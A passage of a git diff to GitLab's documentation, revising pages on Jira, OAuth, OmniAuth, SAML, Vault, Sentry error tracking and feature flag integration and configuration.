`SSLPoke`. - -- Download the class from Atlassian's knowledge base to Jira's server, for example to `/tmp`. -- Use the same Java runtime as Jira. -- Pass all networking-related parameters that Jira is called with, such as proxy - settings or an alternative root Truststore (`-Djavax.net.ssl.trustStore`): - -```shell -${JAVA_HOME}/bin/java -Djavax.net.ssl.trustStore=/var/atlassian/application-data/jira/cacerts -classpath /tmp SSLPoke gitlab.example.com 443 -``` - -The message `Successfully connected` indicates a successful TLS handshake. - -If there are problems, the Java TLS library generates errors that you can -look up for more detail. - -##### Scope error when connecting Jira via DVCS - -```plaintext -The requested scope is invalid, unknown, or malformed. -``` - -Potential resolutions: - -- Verify the URL shown in the browser after being redirected from Jira in step 5 of [Jira DVCS Connector Setup](#jira-dvcs-connector-setup) includes `scope=api` in the query string. -- If `scope=api` is missing from the URL, return to [GitLab account configuration](#gitlab-account-configuration-for-dvcs) and ensure the application you created in step 1 has the `api` box checked under scopes. - -##### Jira error adding account and no repositories listed - -```plaintext -Error! -Failed adding the account: [Error retrieving list of repositories] -``` - -This error message is generated in Jira after completing the **Add New Account** -form in Jira and authorizing access. Attempting to click **Try Again** returns -`Account is already integrated with JIRA.` The account is set up in the DVCS -accounts view, but no repositories are listed. - -Potential resolutions: - -- If you're using GitLab versions 11.10-12.7, upgrade to GitLab 12.8.10 or later - to resolve an identified [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/37012). -- If you're using GitLab Free or GitLab Starter, be sure you're using - GitLab 13.4 or later. - -[Contact GitLab Support](https://about.gitlab.com/support/) if none of these reasons apply. - -#### Fixing synchronization issues - -If Jira displays incorrect information (such as deleted branches), you may need to -resynchronize the information. To do so: - -1. In Jira, go to **Jira Administration > Applications > DVCS accounts**. -1. At the account (group or subgroup) level, Jira displays an option to - **Refresh repositories** in the `...` (ellipsis) menu. -1. For each project, there's a sync button displayed next to the **last activity** date. - To perform a *soft resync*, click the button, or complete a *full sync* by shift clicking - the button. For more information, see - [Atlassian's documentation](https://support.atlassian.com/jira-cloud-administration/docs/synchronize-jira-cloud-to-bitbucket/). - -### GitLab for Jira app **(FREE SAAS)** - -You can integrate GitLab.com and Jira Cloud using the -[GitLab for Jira](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud) -app in the Atlassian Marketplace. The user configuring GitLab for Jira must have -[Maintainer](../user/permissions.md) permissions in the GitLab namespace. - -This method is recommended when using GitLab.com and Jira Cloud because data is synchronized in real-time. The DVCS connector updates data only once per hour. If you are not using both of these environments, use the [Jira DVCS Connector](#jira-dvcs-configuration) method. - -<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> -For a walkthrough of the integration with GitLab for Jira, watch [Configure GitLab Jira Integration using Marketplace App](https://youtu.be/SwR-g1s1zTo) on YouTube. - -1. Go to **Jira Settings > Apps > Find new apps**, then search for GitLab. -1. Click **GitLab for Jira**, then click **Get it now**, or go to the - [App in the marketplace directly](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud). - -  -1. After installing, click **Get started** to go to the configurations page. - This page is always available under **Jira Settings > Apps > Manage apps**. - -  -1. If not already signed in to GitLab.com, you must sign in as a user with - [Maintainer](../user/permissions.md) permissions to add namespaces. - -  -1. Select **Add namespace** to open the list of available namespaces. - -1. Identify the namespace you want to link, and select **Link**. - -  - -NOTE: -The GitLab user only needs access when adding a new namespace. For syncing with -Jira, we do not depend on the user's token. - -After a namespace is added: - -- All future commits, branches, and merge requests of all projects under that namespace - are synced to Jira. -- From GitLab 13.8, past merge request data is synced to Jira. - -Support for syncing past branch and commit data [is planned](https://gitlab.com/gitlab-org/gitlab/-/issues/263240). - -For more information, see [Usage](#usage). - -#### Troubleshooting GitLab for Jira - -The GitLab for Jira App uses an iframe to add namespaces on the settings page. Some browsers block cross-site cookies. This can lead to a message saying that the user needs to log in on GitLab.com even though the user is already logged in. - -> "You need to sign in or sign up before continuing." - -In this case, use [Firefox](https://www.mozilla.org/en-US/firefox/) or enable cross-site cookies in your browser. - -## Usage - -After the integration is set up on GitLab and Jira, you can: - -- Refer to any Jira issue by its ID in GitLab branch names, commit messages, and merge request - titles. -- See the linked branches, commits, and merge requests in Jira issues (merge requests are - called "pull requests" in Jira issues). - -Jira issue IDs must be formatted in uppercase for the integration to work. - - - -Click the links to see your GitLab repository data. - - - - - -For more information on using Jira Smart Commits to track time against an issue, specify an issue transition, or add a custom comment, see the Atlassian page [Using Smart Commits](https://confluence.atlassian.com/fisheye/using-smart-commits-960155400.html). - -## Limitations - -This integration is not supported on GitLab instances under a -[relative URL](https://docs.gitlab.com/omnibus/settings/configuration.html#configuring-a-relative-url-for-gitlab). -For example, `http://example.com/gitlab`. +<!-- This redirect file can be deleted after <2021-06-24>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/integration/oauth_provider.md b/doc/integration/oauth_provider.md index 377c8ec82d0..490397cdf1b 100644 --- a/doc/integration/oauth_provider.md +++ b/doc/integration/oauth_provider.md @@ -33,17 +33,18 @@ OAuth 2 can be used: The 'GitLab Importer' feature also uses OAuth 2 to give access to repositories without sharing user credentials to your GitLab.com account. -GitLab supports two ways of adding a new OAuth 2 application to an instance: +GitLab supports several ways of adding a new OAuth 2 application to an instance: -- As a regular user, for applications owned by an individual. -- Through the Admin Area menu for instance-wide apps. +- [User owned applications](#user-owned-applications) +- [Group owned applications](#group-owned-applications) +- [Instance-wide applications](#instance-wide-applications) -The only difference between these two methods is the [permission](../user/permissions.md) +The only difference between these methods is the [permission](../user/permissions.md) levels. The default callback URL is `http://your-gitlab.example.com/users/auth/gitlab/callback`. -## Add an application through the profile +## User owned applications -To add a new application via your profile: +To add a new application for your user: 1. In the top-right corner, select your avatar. 1. Select **Edit profile**. @@ -55,7 +56,22 @@ To add a new application via your profile: - Application ID: OAuth 2 Client ID. - Secret: OAuth 2 Client Secret. -## OAuth applications in the Admin Area +## Group owned applications + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16227) in GitLab 13.11. + +To add a new application for a group: + +1. Navigate to the desired group. +1. In the left sidebar, select **Settings > Applications**. +1. Enter a **Name**, **Redirect URI** and OAuth 2 scopes as defined in [Authorized Applications](#authorized-applications). + The **Redirect URI** is the URL where users are sent after they authorize with GitLab. +1. Select **Save application**. GitLab displays: + + - Application ID: OAuth 2 Client ID. + - Secret: OAuth 2 Client Secret. + +## Instance-wide applications To create an application for your GitLab instance, select **Admin Area > Applications > New application**. diff --git a/doc/integration/omniauth.md b/doc/integration/omniauth.md index e3b18c0b82b..45d44582607 100644 --- a/doc/integration/omniauth.md +++ b/doc/integration/omniauth.md @@ -22,40 +22,50 @@ of the configured mechanisms. ## Supported Providers -This is a list of the current supported OmniAuth providers. Before proceeding -on each provider's documentation, make sure to first read this document as it -contains some settings that are common for all providers. - -- [GitHub](github.md) -- [Bitbucket](bitbucket.md) -- [GitLab.com](gitlab.md) -- [Google](google.md) -- [Facebook](facebook.md) -- [Twitter](twitter.md) -- [Shibboleth](shibboleth.md) -- [SAML](saml.md) -- [Crowd](../administration/auth/crowd.md) -- [Azure](azure.md) -- [Auth0](auth0.md) -- [Authentiq](../administration/auth/authentiq.md) -- [OAuth2Generic](oauth2_generic.md) -- [JWT](../administration/auth/jwt.md) -- [OpenID Connect](../administration/auth/oidc.md) -- [Salesforce](salesforce.md) -- [AWS Cognito](../administration/auth/cognito.md) +This is a list of the current supported OmniAuth providers. Before proceeding on each provider's documentation, +make sure to first read this document as it contains some settings that are common for all providers. + +|Provider documentation |OmniAuth provider name | +|-----------------------------------------------------------------|--------------------------| +|[Atlassian Crowd](../administration/auth/crowd.md) |`crowd` | +|[Atlassian](../administration/auth/atlassian.md) |`atlassian_oauth2` | +|[Auth0](auth0.md) |`auth0` | +|[Authentiq](../administration/auth/authentiq.md) |`authentiq` | +|[AWS Cognito](../administration/auth/cognito.md) |`cognito` | +|[Azure v2](azure.md#microsoft-azure-oauth2-omniauth-provider-v2) |`azure_activedirectory_v2`| +|[Azure v1](azure.md) |`azure_oauth2` | +|[Bitbucket Cloud](bitbucket.md) |`bitbucket` | +|[CAS](cas.md) |`cas3` | +|[Facebook](facebook.md) |`facebook` | +|[Generic OAuth2](oauth2_generic.md) |`oauth2_generic` | +|[GitHub](github.md) |`github` | +|[GitLab.com](gitlab.md) |`gitlab` | +|[Google](google.md) |`google_oauth2` | +|[JWT](../administration/auth/jwt.md) |`jwt` | +|[Kerberos](kerberos.md) |`kerberos` | +|[OpenID Connect](../administration/auth/oidc.md) |`openid_connect` | +|[Salesforce](salesforce.md) |`salesforce` | +|[SAML](saml.md) |`saml` | +|[Shibboleth](shibboleth.md) |`shibboleth` | +|[Twitter](twitter.md) |`twitter` | ## Initial OmniAuth Configuration -Before configuring individual OmniAuth providers there are a few global settings -that are in common for all providers that we need to consider. +The OmniAuth provider names from the table above are needed to configure a few global settings that are in common for all providers. NOTE: Starting from GitLab 11.4, OmniAuth is enabled by default. If you're using an earlier version, you must explicitly enable it. -- `allow_single_sign_on` allows you to specify the providers you want to allow to - automatically create an account. It defaults to `false`. If `false` users must - be created manually or they can't sign in by using OmniAuth. +- `allow_single_sign_on` allows you to specify the providers that automatically + create a GitLab account. For example, if you wish to enable Azure (v2) and Google, + in Omnibus, specify a list of provider names: + + ```ruby + gitlab_rails['omniauth_allow_single_sign_on'] = ['azure_activedirectory_v2', 'google_oauth2'] + ``` + + The value defaults to `false`. If `false` users must be created manually, or they can't sign in by using OmniAuth. - `auto_link_ldap_user` can be used if you have [LDAP / ActiveDirectory](../administration/auth/ldap/index.md) integration enabled. It defaults to `false`. When enabled, users automatically created through an OmniAuth provider have their LDAP identity created in GitLab as well. @@ -239,9 +249,6 @@ from the OmniAuth provider's documentation. If you have successfully set up a provider that is not shipped with GitLab itself, please let us know. -You can help others by reporting successful configurations and probably share a -few insights or provide warnings for common errors or pitfalls. - While we can't officially support every possible authentication mechanism out there, we'd like to at least help those with specific needs. @@ -257,9 +264,9 @@ To enable/disable an OmniAuth provider: 1. In the top navigation bar, go to **Admin Area**. 1. In the left sidebar, go to **Settings**. 1. Scroll to the **Sign-in Restrictions** section, and click **Expand**. -1. Next to **Enabled OAuth Sign-In sources**, select the check box for each provider you want to enable or disable. +1. Below **Enabled OAuth Sign-In sources**, select the check box for each provider you want to enable or disable. -  +  ## Disabling OmniAuth @@ -328,20 +335,20 @@ You can add the `auto_sign_in_with_provider` setting to your GitLab configuration to redirect login requests to your OmniAuth provider for authentication. This removes the need to click a button before actually signing in. -For example, when using the Azure integration, set the following to enable auto +For example, when using the [Azure v2 integration](azure.md#microsoft-azure-oauth2-omniauth-provider-v2), set the following to enable auto sign-in: For Omnibus package: ```ruby -gitlab_rails['omniauth_auto_sign_in_with_provider'] = 'azure_oauth2' +gitlab_rails['omniauth_auto_sign_in_with_provider'] = 'azure_activedirectory_v2' ``` For installations from source: ```yaml omniauth: - auto_sign_in_with_provider: azure_oauth2 + auto_sign_in_with_provider: azure_activedirectory_v2 ``` Keep in mind that every sign-in attempt is redirected to the OmniAuth @@ -356,3 +363,32 @@ You may also bypass the auto sign in feature by browsing to The [Generated passwords for users created through integrated authentication](../security/passwords_for_integrated_authentication_methods.md) guide provides an overview about how GitLab generates and sets passwords for users created with OmniAuth. + +## Custom OmniAuth provider icon + +Most supported providers include a built-in icon for the rendered sign-in button. +After you ensure your image is optimized for rendering at 64 x 64 pixels, +you can override this icon in one of two ways: + +- **Provide a custom image path**: + 1. *If you are hosting the image outside of your GitLab server domain,* ensure + your [content security policies](https://docs.gitlab.com/omnibus/settings/configuration.html#content-security-policy) + are configured to allow access to the image file. + 1. Depending on your method of installing GitLab, add a custom `icon` parameter + to your GitLab configuration file. Read [OpenID Connect OmniAuth provider](../administration/auth/oidc.md) + for an example for the OpenID Connect provider. +- **Directly embed an image in a configuration file**: This example creates a Base64-encoded + version of your image you can serve through a + [Data URL](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs): + 1. Encode your image file with GNU `base64` command (such as `base64 -w 0 <logo.png>`) + which returns a single-line `<base64-data>` string. + 1. Add the Base64-encoded data to a custom `icon` parameter in your GitLab configuration file: + + ```yaml + omniauth: + providers: + - { name: '...' + icon: 'data:image/png;base64,<base64-data>' + ... + } + ``` diff --git a/doc/integration/saml.md b/doc/integration/saml.md index d68cf8e2f34..842eb71f7f4 100644 --- a/doc/integration/saml.md +++ b/doc/integration/saml.md @@ -11,14 +11,14 @@ This page describes instance-wide SAML for self-managed GitLab instances. For SA You should also reference the [OmniAuth documentation](omniauth.md) for general settings that apply to all OmniAuth providers. -## Common SAML Terms +## Glossary of common terms | Term | Description | |--------------------------------|-------------| -| Identity Provider (IdP) | The service which manages your user identities, such as ADFS, Okta, OneLogin, or Ping Identity. | -| Service Provider (SP) | SAML considers GitLab to be a service provider. | +| Identity provider (IdP) | The service which manages your user identities, such as Okta or OneLogin. | +| Service provider (SP) | GitLab can be configured as a SAML 2.0 SP. | | Assertion | A piece of information about a user's identity, such as their name or role. Also known as claims or attributes. | -| SSO | Single Sign-On. | +| Single Sign-On (SSO) | Name of authentication scheme. | | Assertion consumer service URL | The callback on GitLab where users will be redirected after successfully authenticating with the identity provider. | | Issuer | How GitLab identifies itself to the identity provider. Also known as a "Relying party trust identifier". | | Certificate fingerprint | Used to confirm that communications over SAML are secure by checking that the server is signing communications with the correct certificate. Also known as a certificate thumbprint. | @@ -26,8 +26,8 @@ You should also reference the [OmniAuth documentation](omniauth.md) for general ## General Setup GitLab can be configured to act as a SAML 2.0 Service Provider (SP). This allows -GitLab to consume assertions from a SAML 2.0 Identity Provider (IdP) such as -Microsoft ADFS to authenticate users. +GitLab to consume assertions from a SAML 2.0 Identity Provider (IdP), such as +Okta to authenticate users. First configure SAML 2.0 support in GitLab, then register the GitLab application in your SAML IdP: @@ -52,7 +52,7 @@ in your SAML IdP: ``` 1. To allow your users to use SAML to sign up without having to manually create - an account first, don't forget to add the following values to your configuration: + an account first, add the following values to your configuration: For Omnibus package: @@ -85,7 +85,8 @@ in your SAML IdP: auto_link_saml_user: true ``` -1. Ensure that the SAML [`NameID`](../user/group/saml_sso/index.md#nameid) and email address are fixed for each user, as described in the section on [Security](#security). Otherwise, your users will be able to sign in as other authorized users. +1. Ensure that the SAML [`NameID`](../user/group/saml_sso/index.md#nameid) and email address are fixed for each user, +as described in the section on [Security](#security). Otherwise, your users will be able to sign in as other authorized users. 1. Add the provider configuration: @@ -102,7 +103,7 @@ in your SAML IdP: issuer: 'https://gitlab.example.com', name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' }, - label: 'Company Login' # optional label for SAML login button, defaults to "Saml" + label: 'Provider name' # optional label for SAML login button, defaults to "Saml" } ] ``` @@ -134,6 +135,7 @@ in your SAML IdP: be a SHA1 fingerprint; check [the OmniAuth SAML documentation](https://github.com/omniauth/omniauth-saml) for more details on these options. + See the [notes on configuring your identity provider](#notes-on-configuring-your-identity-provider) for more information. 1. Change the value of `issuer` to a unique name, which will identify the application to the IdP. @@ -151,16 +153,57 @@ configuration information to the IdP. To build the metadata URL for GitLab, appe https://gitlab.example.com/users/auth/saml/metadata ``` -At a minimum the IdP *must* provide a claim containing the user's email address, using -claim name `email` or `mail`. The email will be used to automatically generate the GitLab -username. GitLab will also use claims with name `name`, `first_name`, `last_name` -(see [the OmniAuth SAML gem](https://github.com/omniauth/omniauth-saml/blob/master/lib/omniauth/strategies/saml.rb) -for supported claims). +At a minimum the IdP *must* provide a claim containing the user's email address using `email` or `mail`. +See [the assertions list](#assertions) for other available claims. On the sign in page there should now be a SAML button below the regular sign in form. Click the icon to begin the authentication process. If everything goes well the user will be returned to GitLab and will be signed in. +### Notes on configuring your identity provider + +When configuring a SAML app on the IdP, you need at least: + +- Assertion consumer service URL +- Issuer +- [`NameID`](../user/group/saml_sso/index.md#nameid) +- [Email address claim](#assertions) + +Your identity provider may require additional configuration, such as the following: + +| Field | Value | Notes | +|-------|-------|-------| +| SAML profile | Web browser SSO profile | GitLab uses SAML to sign users in through their browser. No requests are made directly to the identity provider. | +| SAML request binding | HTTP Redirect | GitLab (the service provider) redirects users to your identity provider with a base64 encoded `SAMLRequest` HTTP parameter. | +| SAML response binding | HTTP POST | Specifies how the SAML token is sent by your identity provider. Includes the `SAMLResponse`, which a user's browser submits back to GitLab. | +| Sign SAML response | Required | Prevents tampering. | +| X.509 certificate in response | Required | Signs the response and checks against the provided fingerprint. | +| Fingerprint algorithm | SHA-1 | GitLab uses a SHA-1 hash of the certificate to sign the SAML Response. | +| Signature algorithm | SHA-1/SHA-256/SHA-384/SHA-512 | Determines how a response is signed. Also known as the digest method, this can be specified in the SAML response. | +| Encrypt SAML assertion | Optional | Uses TLS between your identity provider, the user's browser, and GitLab. | +| Sign SAML assertion | Optional | Validates the integrity of a SAML assertion. When active, signs the whole response. | +| Check SAML request signature | Optional | Checks the signature on the SAML response. | +| Default RelayState | Optional | Specifies the URL users should end up on after successfully signing in through SAML at your identity provider. | +| NameID format | Persistent | See [NameID format details](../user/group/saml_sso/index.md#nameid-format). | +| Additional URLs | Optional | May include the issuer (or identifier) or the assertion consumer service URL in other fields on some providers. | + +For example configurations, see the [notes on specific providers](#providers). + +### Assertions + +| Field | Supported keys | +|-----------------|----------------| +| Email (required)| `email`, `mail` | +| Username | `username`, `nickname` | +| Full Name | `name` | +| First Name | `first_name`, `firstname`, `firstName` | +| Last Name | `last_name`, `lastname`, `lastName` | + +If a username is not specified, the email address is used to generate the GitLab username. + +Please refer to [the OmniAuth SAML gem](https://github.com/omniauth/omniauth-saml/blob/master/lib/omniauth/strategies/saml.rb) +for a full list of supported assertions. + ## SAML Groups You can require users to be members of a certain group, or assign users [external](../user/permissions.md#external-users), admin or [auditor](../user/permissions.md#auditor-users) roles based on group membership. @@ -649,6 +692,81 @@ Group SAML on a self-managed instance is limited when compared to the recommende - { name: 'group_saml' } ``` +## Providers + +GitLab support of SAML means that you can sign in to GitLab with a wide range of identity providers. +Your identity provider may have additional documentation. Some identity providers include +documentation on how to use SAML to sign in to GitLab. + +Examples: + +- [ADFS (Active Directory Federation Services)](https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/operations/create-a-relying-party-trust) +- [Auth0](https://auth0.com/docs/protocols/saml-protocol/configure-auth0-as-saml-identity-provider) +- [PingOne by Ping Identity](https://docs.pingidentity.com/bundle/pingone/page/xsh1564020480660-1.html) + +Please note that GitLab provides the following setup notes for guidance only. +If you have any questions on configuring the SAML app, please contact your provider's support. + +### Okta setup notes + +The following guidance is based on this Okta article, on adding a [SAML Application with an Okta Developer account](https://support.okta.com/help/s/article/Why-can-t-I-add-a-SAML-Application-with-an-Okta-Developer-account?language=en_US): + +1. In the Okta admin section, make sure to select Classic UI view in the top left corner. From there, choose to **Add an App**. +1. When the app screen comes up you see another button to **Create an App** and + choose SAML 2.0 on the next screen. +1. Optionally, you can add a logo + (you can choose it from <https://about.gitlab.com/press/>). You'll have to + crop and resize it. +1. Next, you'll need the to fill in the SAML general configuration with + the assertion consumer service URL as "Single sign-on URL" and + the issuer as "Audience URI" along with the [NameID](../user/group/saml_sso/index.md#nameid) and [assertions](#assertions). +1. The last part of the configuration is the feedback section where you can + just say you're a customer and creating an app for internal use. +1. When you have your app you'll have a few tabs on the top of the app's + profile. Click on the SAML 2.0 configuration instructions button. +1. On the screen that comes up take note of the + **Identity Provider Single Sign-On URL** which you'll use for the + `idp_sso_target_url` on your GitLab configuration file. +1. **Before you leave Okta, make sure you add your user and groups if any.** + +### Google workspace setup notes + +The following guidance is based on this Google Workspace article, on how to [Set up your own custom SAML application](https://support.google.com/a/answer/6087519?hl=en): + +Make sure you have access to a Google Workspace [Super Admin](https://support.google.com/a/answer/2405986#super_admin) account. + Follow the instructions in the linked Google Workspace article, where you'll need the following information: + +| | Typical value | Description | +|------------------|--------------------------------------------------|----------------------------------------------------------| +| Name of SAML App | GitLab | Other names OK. | +| ACS URL | `https://<GITLAB_DOMAIN>/users/auth/saml/callback` | ACS is short for Assertion Consumer Service. | +| GITLAB_DOMAIN | `gitlab.example.com` | Set to the domain of your GitLab instance. | +| Entity ID | `https://gitlab.example.com` | A value unique to your SAML app, you'll set it to the `issuer` in your GitLab configuration. | +| Name ID format | EMAIL | Required value. Also known as `name_identifier_format` | +| Name ID | Primary email address | Make sure someone receives content sent to that address | +| First name | `first_name` | Required value to communicate with GitLab. | +| Last name | `last_name` | Required value to communicate with GitLab. | + +You also need to setup the following SAML attribute mappings: + +| Google Directory attributes | App attributes | +|-----------------------------------|----------------| +| Basic information > Email | `email` | +| Basic Information > First name | `first_name` | +| Basic Information > Last name | `last_name` | + +You may also use some of this information when you [configure GitLab](#general-setup). + +When configuring the Google Workspace SAML app, be sure to record the following information: + +| | Value | Description | +|-------------|--------------|-----------------------------------------------------------------------------------| +| SSO URL | Depends | Google Identity Provider details. Set to the GitLab `idp_sso_target_url` setting. | +| Certificate | Downloadable | Run `openssl x509 -in <your_certificate.crt> -noout -fingerprint` to generate the SHA1 fingerprint that can be used in the `idp_cert_fingerprint` setting. | + +While the Google Workspace Admin provides IdP metadata, Entity ID and SHA-256 fingerprint, +GitLab does not need that information to connect to the Google Workspace SAML app. + ## Troubleshooting ### SAML Response @@ -670,6 +788,21 @@ for the SAML user. Ensure the IdP provides a claim containing the user's email address, using the claim name `email` or `mail`. +### 422 error after login + +If you see a "422 error" in GitLab when you are redirected from the SAML +sign-in page, you might have an incorrectly configured assertion consumer +service (ACS) URL on the identity provider. + +Make sure the ACS URL points to `https://gitlab.example.com/users/auth/saml/callback`, where +`gitlab.example.com` is the URL of your GitLab instance. + +If the ACS URL is correct, and you still have errors, review the other +[Troubleshooting](#troubleshooting) sections. + +If you are sure that the ACS URL is correct, proceed to the [Redirect back to the login screen with no evident error](#redirect-back-to-the-login-screen-with-no-evident-error) +section for further troubleshooting steps. + ### Redirect back to the login screen with no evident error If after signing in into your SAML server you are redirected back to the sign in page and @@ -735,3 +868,11 @@ The following are the most likely reasons that a user is blocked when signing in - In the configuration, `gitlab_rails['omniauth_block_auto_created_users'] = true` is set and this is the user's first time signing in. - There are [`required_groups`](#required-groups) configured, but the user is not a member of one. + +### Google workspace troubleshooting tips + +The Google Workspace documentation on [SAML app error messages](https://support.google.com/a/answer/6301076?hl=en) is helpful for debugging if you are seeing an error from Google while signing in. +Pay particular attention to the following 403 errors: + +- `app_not_configured` +- `app_not_configured_for_user` diff --git a/doc/integration/vault.md b/doc/integration/vault.md index 362ae36389b..c98990bcb0e 100644 --- a/doc/integration/vault.md +++ b/doc/integration/vault.md @@ -76,15 +76,25 @@ The following assumes you already have Vault installed and running. This configuration is saved under the name of the role you are creating. In this case, we are creating a `demo` role. Later, we show how you can access this role through the Vault CLI. + WARNING: + If you're using a public GitLab instance (GitLab.com or any other instance publicly + accessible), it's paramount to specify the `bound_claims` to allow access only to + members of your group/project. Otherwise, anyone with a public account can access + your Vault instance. + ```shell - vault write auth/oidc/role/demo \ - user_claim="sub" \ - allowed_redirect_uris="http://localhost:8250/oidc/callback,http://127.0.0.1:8200/ui/vault/auth/oidc/oidc/callback" \ - bound_audiences="your_application_id" \ - role_type="oidc" \ - oidc_scopes="openid" \ - policies=demo \ - ttl=1h + vault write auth/oidc/role/demo -<<EOF + { + "user_claim": "sub", + "allowed_redirect_uris": "your_vault_instance_redirect_uris", + "bound_audiences": "your_application_id", + "oidc_scopes": "openid", + "role_type": "oidc", + "policies": "demo", + "ttl": "1h", + "bound_claims": { "groups": ["yourGroup/yourSubgrup"] } + } + EOF ``` 1. **Sign in to Vault:** diff --git a/doc/operations/error_tracking.md b/doc/operations/error_tracking.md index 8bf0e56c989..18e5eaeef43 100644 --- a/doc/operations/error_tracking.md +++ b/doc/operations/error_tracking.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -27,9 +27,9 @@ least Maintainer [permissions](../user/permissions.md) to enable the Sentry inte 1. [Create](https://docs.sentry.io/product/sentry-basics/guides/integrate-frontend/create-new-project/) a new Sentry project. For each GitLab project that you want to integrate, we recommend that you create a new Sentry project. 1. [Find or generate](https://docs.sentry.io/api/auth/) a Sentry auth token for your Sentry project. Make sure to give the token at least the following scopes: `event:read` and `project:read`. -1. In GitLab, navigate to your project’s **Operations > Error Tracking** page, and +1. In GitLab, navigate to your project's **Operations > Error Tracking** page, and click **Enable Error Tracking**. -1. Navigate to your project’s **Settings > Operations**. In the **Error Tracking** section, +1. Navigate to your project's **Settings > Operations**. In the **Error Tracking** section, ensure the **Active** checkbox is set. 1. In the **Sentry API URL** field, enter your Sentry hostname. For example, enter `https://sentry.example.com` if this is the address at which your Sentry instance is available. For the SaaS version of Sentry, the hostname is `https://sentry.io`. 1. In the **Auth Token** field, enter the token you previously generated. @@ -77,7 +77,7 @@ You can take action on Sentry Errors from within the GitLab UI. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/39665) in GitLab 12.7. -From within the [Error Details](#error-details) page you can ignore a Sentry error by simply clicking the **Ignore** button near the top of the page. +From within the [Error Details](#error-details) page you can ignore a Sentry error by clicking the **Ignore** button near the top of the page. Ignoring an error prevents it from appearing in the [Error Tracking List](#error-tracking-list), and silences notifications that were set up within Sentry. diff --git a/doc/operations/feature_flags.md b/doc/operations/feature_flags.md index 216e6adcdaf..dc0d5d77d27 100644 --- a/doc/operations/feature_flags.md +++ b/doc/operations/feature_flags.md @@ -62,11 +62,11 @@ next to any feature flag in the list. The maximum number of feature flags per project on self-managed GitLab instances is 200. For GitLab SaaS, the maximum number is determined by [tier](https://about.gitlab.com/pricing/): -| Tier | Number of feature flags per project | -|----------|-------------------------------------| -| Free | 50 | -| Premium | 150 | -| Ultimate | 200 | +| Tier | Feature flags per project (SaaS) | Feature flags per project (self-managed) | +|----------|----------------------------------|------------------------------------------| +| Free | 50 | 200 | +| Premium | 150 | 200 | +| Ultimate | 200 | 200 | ## Feature flag strategies @@ -104,7 +104,7 @@ Unleash activation strategy. Enables the feature for a percentage of page views, with configurable consistency of behavior. This consistency is also known as stickiness. It uses the -[`flexibleRollout`](https://unleash.github.io/docs/activation_strategy#flexiblerollout) +[`flexibleRollout`](https://docs.getunleash.io/docs/activation_strategy#flexiblerollout) Unleash activation strategy. You can configure the consistency to be based on: @@ -133,7 +133,7 @@ Selecting **Random** provides inconsistent application behavior for individual u ### Percent of Users Enables the feature for a percentage of authenticated users. It uses the Unleash activation strategy -[`gradualRolloutUserId`](https://unleash.github.io/docs/activation_strategy#gradualrolloutuserid). +[`gradualRolloutUserId`](https://docs.getunleash.io/docs/activation_strategy#gradualrolloutuserid). For example, set a value of 15% to enable the feature for 15% of authenticated users. @@ -155,7 +155,7 @@ ID for the feature to be enabled. See the [Ruby example](#ruby-application-examp > - [Updated](https://gitlab.com/gitlab-org/gitlab/-/issues/34363) to be defined per environment in GitLab 12.6. Enables the feature for a list of target users. It is implemented -using the Unleash [`userWithId`](https://unleash.github.io/docs/activation_strategy#userwithid) +using the Unleash [`userWithId`](https://docs.getunleash.io/docs/activation_strategy#userwithid) activation strategy. Enter user IDs as a comma-separated list of values (for example, @@ -171,7 +171,7 @@ target users. See the [Ruby example](#ruby-application-example) below. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35930) in GitLab 13.1. Enables the feature for lists of users created [in the Feature Flags UI](#create-a-user-list), or with the [Feature Flag User List API](../api/feature_flag_user_lists.md). -Similar to [User IDs](#user-ids), it uses the Unleash [`userWithId`](https://unleash.github.io/docs/activation_strategy#userwithid) +Similar to [User IDs](#user-ids), it uses the Unleash [`userWithId`](https://docs.getunleash.io/docs/activation_strategy#userwithid) activation strategy. It's not possible to *disable* a feature for members of a user list, but you can achieve the same @@ -394,4 +394,4 @@ end You can link related issues to a feature flag. In the **Linked issues** section, click the `+` button and input the issue reference number or the full URL of the issue. -This feature is similar to the [related issues](../user/project/issues/related_issues.md) feature. +This feature is similar to the [linked issues](../user/project/issues/related_issues.md) feature. diff --git a/doc/operations/incident_management/alerts.md b/doc/operations/incident_management/alerts.md index 3c60c737309..276009ac200 100644 --- a/doc/operations/incident_management/alerts.md +++ b/doc/operations/incident_management/alerts.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/operations/incident_management/img/custom_alert_mapping_v13_10.png b/doc/operations/incident_management/img/custom_alert_mapping_v13_10.png Binary files differdeleted file mode 100644 index b2527d3a298..00000000000 --- a/doc/operations/incident_management/img/custom_alert_mapping_v13_10.png +++ /dev/null diff --git a/doc/operations/incident_management/img/custom_alert_mapping_v13_11.png b/doc/operations/incident_management/img/custom_alert_mapping_v13_11.png Binary files differnew file mode 100644 index 00000000000..ea097af878f --- /dev/null +++ b/doc/operations/incident_management/img/custom_alert_mapping_v13_11.png diff --git a/doc/operations/incident_management/img/oncall_schedule_day_grid_v13_10.png b/doc/operations/incident_management/img/oncall_schedule_day_grid_v13_10.png Binary files differnew file mode 100644 index 00000000000..b51b7faf2d6 --- /dev/null +++ b/doc/operations/incident_management/img/oncall_schedule_day_grid_v13_10.png diff --git a/doc/operations/incident_management/img/oncall_schedule_empty_grid_v13_10.png b/doc/operations/incident_management/img/oncall_schedule_empty_grid_v13_10.png Binary files differnew file mode 100644 index 00000000000..154d1b57d28 --- /dev/null +++ b/doc/operations/incident_management/img/oncall_schedule_empty_grid_v13_10.png diff --git a/doc/operations/incident_management/incidents.md b/doc/operations/incident_management/incidents.md index 